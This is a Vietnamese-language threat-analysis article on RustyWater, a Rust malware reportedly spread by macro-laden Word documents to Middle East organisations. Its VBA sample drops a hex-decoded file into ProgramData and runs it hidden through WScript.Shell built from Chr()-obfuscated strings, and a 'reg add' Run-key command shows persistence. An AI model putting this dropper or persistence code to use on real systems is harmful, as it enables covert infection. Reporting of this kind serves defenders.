Mã độc RustyWater: Nguy hiểm từ APT dùng Rust tấn công Trung Đông

Một chiến dịch tấn công mạng tinh vi đã được khởi động bởi một nhóm Advanced Persistent Threat (APT), nhắm mục tiêu vào các lĩnh vực ngoại giao, hàng hải, tài chính và viễn thông tại Trung Đông. Chiến dịch này sử dụng các tài liệu Word độc hại để phát tán một loại mã độc Rust mới có tên là RustyWater, đánh dấu một sự thay đổi đáng kể so với bộ công cụ PowerShell và VBS truyền thống của nhóm.
Sự Chuyển Đổi Công Cụ: Từ PowerShell Sang Rust
Nhóm APT đã thể hiện sự tiến hóa đáng kể trong chiến thuật của mình bằng cách chuyển từ các công cụ dựa trên PowerShell và VBScript sang phát triển mã độc RustyWater sử dụng ngôn ngữ lập trình Rust. Sự chuyển đổi này mang lại nhiều lợi thế cho kẻ tấn công, bao gồm khả năng chống phân tích mạnh mẽ hơn và hiệu suất cao hơn.
RustyWater được thiết kế để vượt qua các công cụ phát hiện và phản hồi điểm cuối (EDR) cũng như phần mềm chống virus (AV) thông qua nhiều kỹ thuật né tránh phức tạp. Điều này đặt ra một thách thức lớn cho các hệ thống phòng thủ truyền thống.
Kỹ Thuật Tấn Công Mạng và Lây Nhiễm Ban Đầu
Chiến Thuật Spear-Phishing Mục Tiêu Cao
Cuộc tấn công mạng bắt đầu bằng các email lừa đảo (spear-phishing) được ngụy tạo tinh vi, giả mạo là thông tin liên lạc chính thức từ các tổ chức hợp pháp. Những email này thường chứa các tài liệu Word độc hại, được che đậy dưới dạng hướng dẫn an ninh mạng hoặc chính sách nội bộ, nhằm tăng tính tin cậy và khuyến khích nạn nhân mở file.
Kích Hoạt Macro và Triển Khai Payload
Khi nạn nhân mở tài liệu và cho phép kích hoạt macro, mã VBA ẩn trong tài liệu sẽ được thực thi. Quá trình này khởi động chuỗi lây nhiễm, từ đó cài đặt mã độc RustyWater vào hệ thống.
Các nhà nghiên cứu tại CloudSEK đã phát hiện chiến dịch này sau khi nhận thấy các mẫu hoạt động đáng ngờ trên các tổ chức ở Trung Đông. Phát hiện này nhấn mạnh tầm quan trọng của việc giám sát liên tục và phân tích hành vi để nhận diện các mối đe dọa mạng mới nổi.
Tài liệu độc hại chứa hai hàm macro VBA hoạt động phối hợp để triển khai payload. Hàm WriteHexToFile chịu trách nhiệm trích xuất dữ liệu được mã hóa hex ẩn trong một điều khiển UserForm. Dữ liệu này sau đó được chuyển đổi sang định dạng nhị phân và lưu dưới tên CertificationKit.ini trong thư mục ProgramData.
Hàm thứ hai, được gọi là love_me_, sử dụng kỹ thuật che giấu bằng giá trị ASCII để xây dựng chuỗi lệnh một cách động. Hàm này tái tạo đối tượng WScript.Shell thông qua các mã ký tự và thực thi payload đã thả bằng cách sử dụng cmd.exe. Phương pháp này giúp mã độc né tránh phát hiện dựa trên chữ ký tĩnh của các công cụ bảo mật.
Đoạn mã VBA minh họa cách dữ liệu hex được giải mã và lưu:
Sub WriteHexToFile() Dim hexData As String Dim binaryData() As Byte Dim i As Long Dim filePath As String ' Trích xuất dữ liệu hex từ một điều khiển UserForm (ví dụ: TextBox1) ' Giả sử hexData được lấy từ Form.Controls(đã mã hóa) ' Ví dụ minh họa: hexData = "4D5A90000300000004000000..." ' Dữ liệu hex đã được rút gọn cho mục đích minh họa ReDim binaryData(Len(hexData) / 2 - 1) For i = 0 To UBound(binaryData) binaryData(i) = CByte("&H" & Mid(hexData, (i * 2) + 1, 2)) Next i filePath = Environ("ProgramData") & "\CertificationKit.ini" Open filePath For Binary Access Write As #1 Put #1, , binaryData Close #1End SubSub love_me_() Dim command As String Dim shell As Object ' Tái tạo chuỗi lệnh bằng cách sử dụng giá trị ASCII ' Ví dụ: "cmd.exe /c " & Environ("ProgramData") & "\CertificationKit.ini" ' Mã thực tế sẽ phức tạp hơn với obfuscation command = Chr(99) & Chr(109) & Chr(100) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & _ Chr(47) & Chr(99) & Chr(32) & Environ(Chr(80) & Chr(114) & Chr(111) & Chr(103) & _ Chr(114) & Chr(97) & Chr(109) & Chr(68) & Chr(97) & Chr(116) & Chr(97)) & Chr(92) & _ Chr(67) & Chr(101) & Chr(114) & Chr(116) & Chr(105) & Chr(102) & Chr(105) & Chr(99) & _ Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) & Chr(75) & Chr(105) & Chr(116) & _ Chr(46) & Chr(105) & Chr(110) & Chr(105) Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)) shell.Run command, 0, False ' 0 for hidden window, False for non-wait Set shell = NothingEnd SubCơ Chế Duy Trì Quyền Truy Cập (Persistence)
Để đảm bảo mã độc có thể tự động khởi chạy sau mỗi lần hệ thống khởi động lại, RustyWater thiết lập cơ chế duy trì quyền truy cập bằng cách thêm một mục vào khóa khởi động Windows Registry. Cụ thể, nó kiểm tra vị trí khóa Run của người dùng hiện tại và tạo một mục trỏ đến tệp CertificationKit.ini đã thả.
Điều này cho phép mã độc duy trì sự hiện diện trên hệ thống mà không cần tương tác thêm từ phía nạn nhân. Kỹ thuật này là một phương pháp phổ biến được nhiều loại mã độc sử dụng để đảm bảo tính bền vững.
Ví dụ về lệnh CLI để thêm một khóa registry (minh họa, mã độc sẽ làm tự động):
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "CertificationKit" /t REG_SZ /d "%ProgramData%\CertificationKit.ini" /fKiểm tra khóa registry có thể được thực hiện bằng lệnh sau:
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "CertificationKit"Kỹ Thuật Né Tránh và Che Giấu Nâng Cao
Mã Hóa Chuỗi Ký Tự và Che Giấu
RustyWater sử dụng mã hóa XOR độc lập vị trí để ẩn tất cả các chuỗi của nó. Kỹ thuật này làm cho việc phân tích tĩnh trở nên khó khăn hơn đáng kể, vì các chuỗi quan trọng như tên API, URL C2, và thông báo lỗi không hiển thị rõ ràng trong các công cụ phân tích nhị phân.
Bên cạnh đó, việc sử dụng mã hóa XOR cho phép mã độc có thể giải mã các chuỗi khi cần thiết trong bộ nhớ mà không cần phải ghi chúng ra đĩa dưới dạng rõ ràng.
Phát Hiện Công Cụ Bảo Mật
Trước khi thực thi các chức năng chính của mình, mã độc RustyWater thực hiện một quy trình quét hệ thống kỹ lưỡng để tìm kiếm hơn 25 sản phẩm chống virus và EDR khác nhau. Nó thực hiện điều này bằng cách kiểm tra các tên dịch vụ, tệp agent và đường dẫn cài đặt tiêu chuẩn của các giải pháp bảo mật.
Khi phát hiện ra các công cụ bảo mật, RustyWater sẽ thay đổi hành vi của mình để duy trì sự ẩn mình, có thể bao gồm việc tạm dừng hoạt động, thay đổi quy trình giao tiếp, hoặc tránh thực thi một số chức năng nhất định. Khả năng phát hiện và thích ứng này là một đặc điểm của các tấn công mạng tinh vi.
Danh sách các đối tượng mà RustyWater có thể kiểm tra để phát hiện công cụ bảo mật (minh họa):
- Tên dịch vụ Windows liên quan đến AV/EDR.
- Các quy trình đang chạy có tên tương ứng với AV/EDR.
- Đường dẫn cài đặt tệp hoặc thư mục của các phần mềm bảo mật.
- Các khóa Registry liên quan đến cấu hình hoặc trạng thái của AV/EDR.
Thông tin chi tiết về các kỹ thuật evasion có thể được tìm thấy trong các báo cáo phân tích mã độc chuyên sâu, như các tài liệu từ CISA Cybersecurity Advisories.
Thu Thập và Trích Xuất Dữ Liệu
Mã độc RustyWater có khả năng thu thập thông tin chi tiết về nạn nhân, bao gồm tên người dùng (username), tên máy tính (computer name) và chi tiết miền (domain details). Những thông tin này rất quan trọng đối với kẻ tấn công để hiểu rõ môi trường bị xâm nhập và có thể chuẩn bị cho các giai đoạn tấn công tiếp theo.
Dữ liệu thu thập được đóng gói theo định dạng JSON. Sau đó, nó trải qua ba lớp mã hóa và che giấu tuần tự: mã hóa Base64, tiếp theo là mã hóa XOR, trước khi được gửi đến các máy chủ chỉ huy và kiểm soát (C2). Quá trình mã hóa đa lớp này làm cho việc chặn và giải mã dữ liệu bị rò rỉ trở nên cực kỳ khó khăn cho các nhà phân tích an ninh mạng.
Giao Tiếp với Máy Chủ Chỉ Huy và Kiểm Soát (C2)
Sử Dụng Thư Viện Rust `reqwest`
Để giao tiếp HTTP với máy chủ C2, RustyWater tận dụng thư viện reqwest của Rust. Thư viện này cung cấp các tính năng mạnh mẽ như timeouts tích hợp, connection pooling, và logic thử lại (retry logic). Những tính năng này giúp giao tiếp C2 trở nên đáng tin cậy và bền bỉ hơn, ngay cả trong điều kiện mạng không ổn định hoặc khi bị phát hiện và cố gắng gián đoạn.
Việc sử dụng một thư viện HTTP mạnh mẽ như reqwest cho thấy sự chuyên nghiệp trong quá trình phát triển mã độc, giúp đảm bảo rằng các kênh giao tiếp C2 luôn hoạt động hiệu quả.
Kỹ Thuật Né Tránh Phát Hiện Mạng
Để tránh bị phát hiện bởi các hệ thống phát hiện xâm nhập (IDS) hoặc các công cụ giám sát lưu lượng mạng, RustyWater tạo ra các khoảng thời gian ngủ ngẫu nhiên giữa các lần giao tiếp với máy chủ C2. Điều này làm cho các mẫu lưu lượng mạng trở nên khó phân tích hơn, vì nó phá vỡ tính đều đặn mà các giải pháp bảo mật thường dùng để xác định hoạt động đáng ngờ của mã độc.
Sự ngẫu nhiên hóa trong thời gian chờ là một kỹ thuật hiệu quả để vượt qua các thuật toán phát hiện bất thường dựa trên thời gian và tần suất.
Các tổ chức cần triển khai các giải pháp phát hiện xâm nhập tiên tiến, bao gồm phân tích hành vi mạng và sử dụng threat intelligence cập nhật, để đối phó với những mối đe dọa mạng như RustyWater.







